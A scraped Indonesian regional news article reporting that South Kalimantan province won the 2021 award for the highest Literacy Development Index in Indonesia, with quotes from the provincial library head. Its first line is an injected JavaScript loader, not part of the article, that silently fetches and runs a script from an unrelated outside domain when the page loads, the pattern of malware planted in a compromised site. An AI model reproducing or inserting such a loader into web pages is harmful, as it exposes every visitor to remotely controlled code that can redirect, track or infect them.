(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Upaya Pemerintahan Provinsi (Pemprov) Kalimantan Selatan (Kalsel) membangun literasi dan budaya minat baca di Banua kembali membuahkan hasil.
Terbaru, Pemprov Kalsel diberi penghargaan sebagai wilayah yang memiliki Indeks Pembangunan Literasi (IPL) tertinggi se Indonesia tahun 2021.
Perpustakaan Nasional (Perpusnas) RI mencatat Provinsi Kalsel dengan nilai IPL 58,13 persen, disusul Provinsi Maluku dengan nilai IPL 35,75, dan Provinsi Gorontalo dengan nilai 22,53.
Sekadar diketahui, IPL tahun 2020 Provinsi Kalsel berada pada nilai 48,70 persen, juga meraih sebagai nilai IPL tertinggi se Indonesia. Tahun 2021, meningkat 9,43 poin, atau jika dipersentasikan ada kenaikan 20 persen.
Baca juga: Tertangkap! Pelaku Perkelahian yang Menewaskan MH Depan Cafe di Trikora
Penghargaan IPL tertinggi se Indonesia itu diberikan Menteri Pemberdayaan Perempuan dan Perlindungan Anak, I Gusti Ayu Bintang Darmawati, diterima Gubernur Kalsel melalui Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel Dra Hj Nurliani Dardie, di Jakarta, Selasa (29/3/2022).
Kadispersip yang akrab disapa Bunda Nunung ini mengatakan, capaian IPL tertinggi 2021 itu akan terus dijadikan pemantik semangat untuk terus berkarya dalam memajukan literasi, budaya minta baca, promosi minat baca, buku, dan perpustakaan ke seluruh wilayah Kalsel.
Bunda Nunung tak lupa mengucapkan terima kasih, atas dukungan semua pihak hingga Provinsi Kalsel berada pada nilai tertinggi itu.
“Iya kaget juga sebenarnya, karena tahun 2021 kemarin pada bulan Agustus dan September berturut-turut kami sudah juga menerima penghargaan,” ucapnya.
Keberhasilan ini pun mendapat banyak tanggapan positif dari berbagai kalangan dan pegiat literasi nasional.
“Keren, selamat dan turut berbangga saya,” ungkap Ketua Ikatan Penerbit Indonesia DKI Jakarta, Hikmah Kurnia.
Baca juga: Mengingat Kembali Sejarah Hari Film Nasional
Hal senada disampaikan Pustakawan Kabupaten Luwu lham, yang menilai Provinsi Kalsel memang layak mendapatkan IPL tertinggi.
“Memang peran Bunda luar biasa dan layak menjadi tokoh masyarakat pengembang budaya baca,” pungkasnya. (Kanalkalimantan.com/rilis)
Reporter : rilis
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
This website uses cookies.